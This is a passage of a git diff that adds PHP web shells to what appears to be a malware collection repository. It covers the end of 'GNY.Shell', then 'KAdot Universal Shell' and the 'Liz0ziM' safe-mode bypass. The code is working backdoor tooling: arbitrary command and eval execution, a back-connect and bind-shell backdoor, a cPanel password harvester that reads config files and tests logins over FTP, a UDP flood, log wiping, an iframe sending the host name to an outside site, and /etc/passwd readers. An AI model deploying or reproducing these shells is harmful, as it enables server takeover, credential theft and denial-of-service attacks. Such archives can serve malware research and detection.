(empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo '['.$u.']<br>';} + echo "</center>"; + } + exit; +} +if ($act == 'backc') +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>'); + echo $msg; + echo $emsg; +} + +if ($act == 'rip') { +?> +<iframe +src ="http://crushmachine.com/rip.php?host=<?php echo getenv("HTTP_HOST"); ?>" +height="600" +width="100%"> +</iframe> +<?php +} + +if ($act == 'users') { + $users = file('/etc/passwd'); + echo '<table>'; + foreach($users as $user) { + $user = explode(':', $user); + echo '<tr><td>'.$user[0].'</td><td>'.$user[5].'</td></tr>'; + } + echo '</table>'; +} + + + +if ($act == 'cpanel'){ + if ($_GET['go'] == 'go'){ + set_time_limit(0); + ################## + @$passwd=fopen('/etc/passwd','r'); + if (!$passwd) { + echo "[-] Error : coudn't read /etc/passwd"; + exit; + } + $path_to_public=array(); + $users=array(); + $pathtoconf=array(); + $i=0; + + while(!feof($passwd)) { + $str=fgets($passwd); + if ($i>35) { + $pos=strpos($str,":"); + $username=substr($str,0,$pos); + $dirz="/home/$username/public_html/"; + if (($username!="")) { + if (is_readable($dirz)) { + array_push($users,$username); + array_push($path_to_public,$dirz); + } + } + } + $i++; + } + ################### + + ######################### + function read_dir($path,$username) { + if ($handle = opendir($path)) { + while (false !== ($file = readdir($handle))) { + $fpath="$path$file"; + if (($file!='.') and ($file!='..')) { + if (is_readable($fpath)) { + $dr="$fpath/"; + if (is_dir($dr)) { + read_dir($dr,$username); + } + else { + if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { + $pass=get_pass($fpath); + if ($pass!='') { + echo "[+] $fpath\n$pass\n"; + ftp_check($username,$pass); + } + } + } + } + } + } + } + } + + function get_pass($link) { + @$config=fopen($link,'r'); + while(!feof($config)) { + $line=fgets($config); + if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { + if (strrpos($line,'"')) + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); + else + $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); + return $pass; + } + } + } + + function ftp_check($login,$pass) { + @$ftp=ftp_connect('127.0.0.1'); + if ($ftp) { + @$res=ftp_login($ftp,$login,$pass); + if ($res) { + echo '[cPanel Found] '.$login.':'.$pass." Success\n"; + } + else ftp_quit($ftp); + } + } + + echo "<br><br>"; + echo "<textarea name='main_window' cols=100 rows=20>"; + + echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n"; + echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n"; + + echo "[~] Searching for passwords in config.* files...\n\n"; + foreach ($users as $user) { + $path="/home/$user/public_html/"; + read_dir($path,$user); + } + + echo "\n[+] Done\n"; + + echo "</textarea><br>"; + }else + echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'act=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>'; +} + +if ($act == 'phptools'){ +?><center><?php +//mailer +echo '<b>Mailer</b><br> +<form action="'.$surl.'" method=GET> +<input type="hidden" name="act" value="phptools"> +<input type=text name=to value=to><br> +<input type=text name=from value=from><br> +<input type=text name=subject value=subject><br> +<input type=text name=body value=body><br> +<input type=submit name=submit value=Submit></form>'; +if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) { + $headers = 'From: '.$_GET['from']; + mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers); + echo 'Email sent.'; +} + +//port scanner +echo '<br><b>Port Scanner</b><br>'; +$start = strip_tags($_GET['start']); +$end = strip_tags($_GET['end']); +$host = strip_tags($_GET['host']); + +if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){ +for($i = $start; $i<=$end; $i++){ + $fp = @fsockopen($host, $i, $errno, $errstr, 3); + if($fp){ + echo 'Port '.$i.' is <font color=green>open</font><br>'; + } + flush(); + } +}else{ +?> +<form action="?" method="get"> +<input type="hidden" name="act" value="phptools"> +Host:<br /> +<input type="text" name="host" value="localhost"/><br /> +Port start:<br /> +<input type="text" name="start" value="0"/><br /> +Port end:<br /> +<input type="text" name="end" value="5000"/><br /> +<input type="submit" value="Scan Ports" /> +</form> +<?php +} + +//UDP +if(isset($_GET['host'])&&is_numeric($_GET['time'])){ + $pakits = 0; + ignore_user_abort(TRUE); + set_time_limit(0); + + $exec_time = $_GET['time']; + + $time = time(); + //print "Started: ".time('h:i:s')."<br>"; + $max_time = $time+$exec_time; + + $host = $_GET['host']; + + for($i=0;$i<65000;$i++){ + $out .= 'X'; + } + while(1){ + $pakits++; + if(time() > $max_time){ + break; + } + $rand = rand(1,65000); + $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } + } + echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; + echo '<br><br> + <form action="'.$surl.'" method=GET> + <input type="hidden" name="act" value="phptools"> + Host: <input type=text name=host value=localhost> + Length (seconds): <input type=text name=time value=9999> + <input type=submit value=Go></form>'; +}else{ echo '<br><b>UDP Flood</b><br> + <form action=? method=GET> + <input type="hidden" name="act" value="phptools"> + Host: <br><input type=text name=host value=localhost><br> + Length (seconds): <br><input type=text name=time value=9999><br> + <input type=submit value=Go></form>'; +} +?></center><?php +} + +if ($act == 'shbd'){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} ?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td> +<td width="50%" height="1" valign="top"> + <center>Kernel Info: <form method="get" action="http://google.com/search"> + <input name="q" type="text" size="80" value="<?php echo wordwrap(php_uname()); ?>"> + <input type=submit value="Google!"> + </form></center> +</td></tr> +</TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top"></td></tr> +<tr><td width="100%" height="83" valign="top"> + +<center> +<table border=0> +<tr><td> +<center>Functions</center> +</td><td> +<center>Make Dir</center> +</td><td> +<center>Go Dir</center> +</td></tr> +<tr><td> +<center> +<form action="<?php echo $surl; ?>"> +<input type=hidden name="d" value="<?php echo $dispd; ?>"> +<SELECT NAME="act"> +<OPTION VALUE="zap2">Wipe Logs Using zap2 (*nix) +<OPTION VALUE="clearlogs">Wipe Logs Using ClearLogs (Windows) +</SELECT><br> +<input type=submit name="submit" value="Execute"><br> +&nbsp; +</form> +</center> +</td><td> +<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"> +<center> +<input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> +<br> +<input type=submit value="Create"><br><?php echo $wdt; ?></form> +</center> +</td><td> +<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"> +<center> +<input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> +<br> +<input type=submit value="Go"><br> +&nbsp; +</form> +</center> +</td></tr> +<tr><td> +<center>Aliases</center> +</td><td> +<center>Make File</center> +</td><td> +<center>Go File</center> +</td></tr> +<tr><td> +<?php +// Command-aliases +if (!$win) // if the box isn't windows; most likely *nix +{ + $cmdaliases = array( + array('-----------------------------------------------------------', 'ls -la'), + array('Currently Logged in Users', 'w'), + array('Last User to Connect', 'lastlog'), + array('Find Users Without a Password', 'cut -d: -f1,2,3 /etc/passwd | grep ::'), + array('Is /etc Writable?', 'find /etc/ -type f -perm -o+w 2> /dev/null'), + array('Installed Downloaders', 'which wget curl w3m lynx'), + array('Open Ports', 'netstat -an | grep -i listen'), + array('Box Uptime', 'uptime'), + array('System Variables', 'set'), + array('ARP table', 'arp -a'), + array('Patch Level for RedHat 7.0', 'rpm -qa'), + array('Network Interfaces', 'ifconfig'), + array('Mounted Filesystems', 'mount'), + array('Create 1GB File in Current Dir (for h00lyshit)', 'dd if=/dev/urandom of=./bigfile count=2M'), + array('Find Suid Bins', 'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'), + array("Find All Suid Files", "find / -type f -perm -04000 -ls"), + array("Find Suid Files in Current Dir", "find . -type f -perm -04000 -ls"), + array("Find All Sgid Files", "find / -type f -perm -02000 -ls"), + array("Find Sgid Files in Current Dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php Files", "find / -type f -name config.inc.php"), + array("Find config* Files", "find / -type f -name \"config*\""), + array("Find config* Files in Current Dir", "find . -type f -name \"config*\""), + array("Find All Writable Folders and Files", "find / -perm -2 -ls"), + array("Find All Writable Folders and Files in Current Dir", "find . -perm -2 -ls"), + array("Find All service.pwd Files", "find / -type f -name service.pwd"), + array("Find service.pwd Files in Current Dir", "find . -type f -name service.pwd"), + array("Find All .htpasswd Files", "find / -type f -name .htpasswd"), + array("Find .htpasswd Files in Current Dir", "find . -type f -name .htpasswd"), + array("Find All .bash_history Files", "find / -type f -name .bash_history"), + array("Find .bash_history Files in Current Dir", "find . -type f -name .bash_history"), + array("Find All .fetchmailrc Files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc Files in Current Dir", "find . -type f -name .fetchmailrc"), + array("List File Attributes on a Linux Second Extended File System", "lsattr -va"), + ); +} +else // if the box is windows +{ + $cmdaliases = array( + array('-----------------------------------------------------------', 'dir'), + array('Active Connections', 'netstat -an'), + array('ARP Table', 'arp -a'), + array('Net Shares', 'net use'), + array('IP Configuration', 'ipconfig /all'), + array('Disk Quotas', 'fsutil quota query '.$pd[0]), + array('Drive Type', 'fsutil fsinfo drivetype '.$pd[0]) + ); +} +?> +<center><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> +<br> +<input type=submit name=submit value="Execute"><br> +&nbsp; +</form> +</center> +</td><td> +<center> +<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> +<input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> +<br> +<input type=submit value="Create"><br><?php echo $wdt; ?></form> +</center> +</td><td> +<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> +<center> +<input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> +<br> +<input type=submit value="Go"></form> +<br>&nbsp; +</center> +</td></tr> +</table> +</center> + </td></tr> +</TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr><td width=50% height=83 valign=top> +<center>PHP Safe-Mode Bypass (Read File)<br><br> +<form action="<?php echo $surl; ?>" method=GET> +File: <input type=text name="file"> <input type=submit value="Read File"> +<br><br> +e.g.: /etc/passwd or C:\WINDOWS\system32\.SAM +</form> +</center> +<?php +if(isset($_GET['file'])) { + $test=''; + $temp=tempnam($test, 'cx'); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo 'Trying To Get File <font color=#000099><b>'.$get.'</b></font><br>'; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, 'r'); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo '<b>Start '.$get.'</b><br><font color=white><pre>'.$source.'</pre></font><br><b>Fin <font color=#000099>'.$get.'</font></b>'; + unlink($temp); + } else + echo '<font color=red><center>Sorry... File <b>'.htmlspecialchars($file).'</b> doesn\'t exist or you don\'t have access.</center></font>'; +} +?> +</td><td width=50% height=83 valign=top> +<center>PHP Safe-Mode Bypass (Directory Listing)<br><br> +<form action="<?php echo $surl; ?>" method=GET> +Dir: <input type=text name="directory"> <input type=submit value="List Directory"> +<br><br> +e.g.: /etc/ or C:\ +</form> +</center> +<?php +if(isset($_GET['directory'])) { + $chemin = $_GET['directory']; + $files = glob("$chemin*"); + echo 'Trying To List Folder <font color=#000099><b>'.$chemin.'</b></font><br><br>'; + foreach ($files as $filename) + echo $filename."\n<br>"; // added the \n for easier readability while viewing the html source +} +?> +</td> +</tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><center> + <b>.:[ GNY.Shell Encoded v1.1 ! Stand@rd Edition</font> | Generated in: <?php echo round(getmicrotime()-starttime,4); ?> ]:.</b> +<br> +</center></td></tr></table> +</body></html><?php chdir($lastdir); GNYexit(); ?> diff --git a/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.php b/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.php new file mode 100755 index 0000000..6150454 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.php @@ -0,0 +1,229 @@ +<!-- + +/+--------------------------------+\ + | KA_uShell | + | <KAdot Universal Shell> | + | Version 0.1.6 | + | 13.03.04 | + | Author: KAdot <KAdot@ngs.ru> | + |--------------------------------| +\+ +/ + +--> +<html> +<head> +<title>KA_uShell 0.1.6</title> +<style type="text/css"> +<!-- +body, table{font-family:Verdana; font-size:12px;} +table {background-color:#EAEAEA; border-width:0px;} +b {font-family:Arial; font-size:15px;} +a{text-decoration:none;} +--> +</style> +</head> +<body> + +<?php +$self = $_SERVER['PHP_SELF']; +$docr = $_SERVER['DOCUMENT_ROOT']; +$sern = $_SERVER['SERVER_NAME']; +$tend = "</tr></form></table><br><br><br><br>"; + +// Configuration +$login = "admin"; +$pass = "123"; + + +/*/ Authentication +if (!isset($_SERVER['PHP_AUTH_USER'])) { +header('WWW-Authenticate: Basic realm="KA_uShell"'); +header('HTTP/1.0 401 Unauthorized'); +exit;} + +else { +if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) +{ echo "��� ����?"; exit;} +} +*/ + + + +if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} +elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} +else {$ac = "shell";} + +// Menu +echo " +|<a href=$self?ac=shell>Shell</a>| +|<a href=$self?ac=upload>File Upload</a>| +|<a href=$self?ac=tools>Tools</a>| +|<a href=$self?ac=eval>PHP Eval Code</a>| +|<a href=$self?ac=whois>Whois</a>| +<br><br><br><pre>"; + + +switch($ac) { + +// Shell +case "shell": + +echo <<<HTML +<b>Shell</b> +<table> +<form action="$self" method="POST"> +<input type="hidden" name="ac" value="shell"> +<tr><td> +$$sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter"> +</td></tr> +<tr><td> +<textarea cols="100" rows="25"> +HTML; + +if (!empty($_POST['c'])){ +passthru($_POST['c']); +} +echo "</textarea></td>$tend"; +break; + + +//PHP Eval Code execution +case "eval": + +echo <<<HTML +<b>PHP Eval Code</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="eval"> +<tr> +<td><textarea name="ephp" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (isset($_POST['ephp'])){ +eval($_POST['ephp']); +} +break; + + +//Text tools +case "tools": + +echo <<<HTML +<b>Tools</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="tools"> +<tr> +<td> +<input type="radio" name="tac" value="1">B64 Decode<br> +<input type="radio" name="tac" value="2">B64 Encode<br><hr> +<input type="radio" name="tac" value="3">md5 Hash +</td> +<td><textarea name="tot" rows="5" cols="42"></textarea></td> +</tr> +<tr> +<td> </td> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (!empty($_POST['tot']) && !empty($_POST['tac'])) { + +switch($_POST['tac']) { + +case "1": +echo "��������������� �����:<b>" .base64_decode($_POST['tot']). "</b>"; +break; + +case "2": +echo "������������ �����:<b>" .base64_encode($_POST['tot']). "</b>"; +break; + +case "3": +echo "������������ �����:<b>" .md5($_POST['tot']). "</b>"; +break; +}} +break; + + +// Uploading +case "upload": + +echo <<<HTML +<b>File Upload</b> +<table> +<form enctype="multipart/form-data" action="$self" method="POST"> +<input type="hidden" name="ac" value="upload"> +<tr> +<td>�����:</td> +<td><input size="48" name="file" type="file"></td> +</tr> +<tr> +<td>�����:</td> +<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="�������"></td> +$tend +HTML; + +if (isset($_POST['path'])){ + +$uploadfile = $_POST['path'].$_FILES['file']['name']; +if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} + +if (copy($_FILES['file']['tmp_name'], $uploadfile)) { + echo "����� ������� �������� � ����� $uploadfile\n"; + echo "���:" .$_FILES['file']['name']. "\n"; + echo "������:" .$_FILES['file']['size']. "\n"; + +} else { + print "�� ������ ��������� �����. ����:\n"; + print_r($_FILES); +} +} +break; + + +// Whois +case "whois": +echo <<<HTML +<b>Whois</b> +<table> +<form action="$self" method="POST"> +<input type="hidden" name="ac" value="whois"> +<tr> +<td>�����:</td> +<td><input size="40" type="text" name="wq"></td> +</tr> +<tr> +<td>���� ������:</td> +<td><input size="40" type="text" name="wser" value="whois.ripe.net"></td> +</tr> +<tr><td> +<input align="right" type="submit" value="Enter"> +</td></tr> +$tend +HTML; + +if (isset($_POST['wq']) && $_POST['wq']<>"") { + +if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; + +$querty = $_POST['wq']."\r\n"; +$fp = fsockopen($wser, 43); + +if (!$fp) {echo "�� ���� ������� �����";} else { +fputs($fp, $querty); +while(!feof($fp)){echo fgets($fp, 4000);} +fclose($fp); +}} +break; + + +} +?> +</pre> +</body> +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.txt b/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.txt new file mode 100755 index 0000000..933de04 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/KAdot Universal Shell v0.1.6.txt @@ -0,0 +1,229 @@ +<!-- + +/+--------------------------------+\ + | KA_uShell | + | <KAdot Universal Shell> | + | Version 0.1.6 | + | 13.03.04 | + | Author: KAdot <KAdot@ngs.ru> | + |--------------------------------| +\+ +/ + +--> +<html> +<head> +<title>KA_uShell 0.1.6</title> +<style type="text/css"> +<!-- +body, table{font-family:Verdana; font-size:12px;} +table {background-color:#EAEAEA; border-width:0px;} +b {font-family:Arial; font-size:15px;} +a{text-decoration:none;} +--> +</style> +</head> +<body> + +<?php +$self = $_SERVER['PHP_SELF']; +$docr = $_SERVER['DOCUMENT_ROOT']; +$sern = $_SERVER['SERVER_NAME']; +$tend = "</tr></form></table><br><br><br><br>"; + +// Configuration +$login = "admin"; +$pass = "123"; + + +/*/ Authentication +if (!isset($_SERVER['PHP_AUTH_USER'])) { +header('WWW-Authenticate: Basic realm="KA_uShell"'); +header('HTTP/1.0 401 Unauthorized'); +exit;} + +else { +if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) +{ echo "��� ����?"; exit;} +} +*/ + + + +if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} +elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} +else {$ac = "shell";} + +// Menu +echo " +|<a href=$self?ac=shell>Shell</a>| +|<a href=$self?ac=upload>File Upload</a>| +|<a href=$self?ac=tools>Tools</a>| +|<a href=$self?ac=eval>PHP Eval Code</a>| +|<a href=$self?ac=whois>Whois</a>| +<br><br><br><pre>"; + + +switch($ac) { + +// Shell +case "shell": + +echo <<<HTML +<b>Shell</b> +<table> +<form action="$self" method="POST"> +<input type="hidden" name="ac" value="shell"> +<tr><td> +$$sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter"> +</td></tr> +<tr><td> +<textarea cols="100" rows="25"> +HTML; + +if (!empty($_POST['c'])){ +passthru($_POST['c']); +} +echo "</textarea></td>$tend"; +break; + + +//PHP Eval Code execution +case "eval": + +echo <<<HTML +<b>PHP Eval Code</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="eval"> +<tr> +<td><textarea name="ephp" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (isset($_POST['ephp'])){ +eval($_POST['ephp']); +} +break; + + +//Text tools +case "tools": + +echo <<<HTML +<b>Tools</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="tools"> +<tr> +<td> +<input type="radio" name="tac" value="1">B64 Decode<br> +<input type="radio" name="tac" value="2">B64 Encode<br><hr> +<input type="radio" name="tac" value="3">md5 Hash +</td> +<td><textarea name="tot" rows="5" cols="42"></textarea></td> +</tr> +<tr> +<td> </td> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (!empty($_POST['tot']) && !empty($_POST['tac'])) { + +switch($_POST['tac']) { + +case "1": +echo "��������������� �����:<b>" .base64_decode($_POST['tot']). "</b>"; +break; + +case "2": +echo "������������ �����:<b>" .base64_encode($_POST['tot']). "</b>"; +break; + +case "3": +echo "������������ �����:<b>" .md5($_POST['tot']). "</b>"; +break; +}} +break; + + +// Uploading +case "upload": + +echo <<<HTML +<b>File Upload</b> +<table> +<form enctype="multipart/form-data" action="$self" method="POST"> +<input type="hidden" name="ac" value="upload"> +<tr> +<td>�����:</td> +<td><input size="48" name="file" type="file"></td> +</tr> +<tr> +<td>�����:</td> +<td><input size="48" value="$docr/" name="path" type="text"><input type="submit" value="�������"></td> +$tend +HTML; + +if (isset($_POST['path'])){ + +$uploadfile = $_POST['path'].$_FILES['file']['name']; +if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} + +if (copy($_FILES['file']['tmp_name'], $uploadfile)) { + echo "����� ������� �������� � ����� $uploadfile\n"; + echo "���:" .$_FILES['file']['name']. "\n"; + echo "������:" .$_FILES['file']['size']. "\n"; + +} else { + print "�� ������ ��������� �����. ����:\n"; + print_r($_FILES); +} +} +break; + + +// Whois +case "whois": +echo <<<HTML +<b>Whois</b> +<table> +<form action="$self" method="POST"> +<input type="hidden" name="ac" value="whois"> +<tr> +<td>�����:</td> +<td><input size="40" type="text" name="wq"></td> +</tr> +<tr> +<td>���� ������:</td> +<td><input size="40" type="text" name="wser" value="whois.ripe.net"></td> +</tr> +<tr><td> +<input align="right" type="submit" value="Enter"> +</td></tr> +$tend +HTML; + +if (isset($_POST['wq']) && $_POST['wq']<>"") { + +if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; + +$querty = $_POST['wq']."\r\n"; +$fp = fsockopen($wser, 43); + +if (!$fp) {echo "�� ���� ������� �����";} else { +fputs($fp, $querty); +while(!feof($fp)){echo fgets($fp, 4000);} +fclose($fp); +}} +break; + + +} +?> +</pre> +</body> +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php b/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php new file mode 100755 index 0000000..06a3035 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php @@ -0,0 +1,34 @@ +<? +echo "<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit</font></b><br>"; +print_r(' +<pre> +<form method="POST" action=""> +<b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="�al��t�r" type="submit"> +</form> +<form method="POST" action=""> +<b><font color=blue>H�zl� Men� :=) :</font><select size="1" name="liz0"> +<option value="cat /etc/passwd">/etc/passwd</option> +<option value="netstat -an | grep -i listen">T�m A��k Portalar� G�r</option> +<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option> +<option value="cat /etc/syslog.conf">/etc/syslog.conf</option> +<option value="cat /etc/hosts">/etc/hosts</option> +<option value="cat /etc/named.conf">/etc/named.conf</option> +<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option> +</select> <input type="submit" value="G�ster Bakim"> +</form> +</pre> +'); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$liz0=shell_exec($_POST[baba]); +$liz0zim=shell_exec($_POST[liz0]); +$uid=shell_exec('id'); +$server=shell_exec('uname -a'); +echo "<pre><h4>"; +echo "<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>"; +echo "<b><font color=red>Server</font></b>:$server<br>"; +echo "<b><font color=red>Komut Sonu�lar�:</font></b><br>"; +echo $liz0; +echo $liz0zim; +echo "</h4></pre>"; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.txt b/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.txt new file mode 100755 index 0000000..06a3035 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.txt @@ -0,0 +1,34 @@ +<? +echo "<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit</font></b><br>"; +print_r(' +<pre> +<form method="POST" action=""> +<b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="�al��t�r" type="submit"> +</form> +<form method="POST" action=""> +<b><font color=blue>H�zl� Men� :=) :</font><select size="1" name="liz0"> +<option value="cat /etc/passwd">/etc/passwd</option> +<option value="netstat -an | grep -i listen">T�m A��k Portalar� G�r</option> +<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option> +<option value="cat /etc/syslog.conf">/etc/syslog.conf</option> +<option value="cat /etc/hosts">/etc/hosts</option> +<option value="cat /etc/named.conf">/etc/named.conf</option> +<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option> +</select> <input type="submit" value="G�ster Bakim"> +</form> +</pre> +'); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$liz0=shell_exec($_POST[baba]); +$liz0zim=shell_exec($_POST[liz0]); +$uid=shell_exec('id'); +$server=shell_exec('uname -a'); +echo "<pre><h4>"; +echo "<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>"; +echo "<b><font color=red>Server</font></b>:$server<br>"; +echo "<b><font color=red>Komut Sonu�lar�:</font></b><br>"; +echo $liz0; +echo $liz0zim; +echo "</h4></pre>"; +?> \ No newline at end of file diff --git 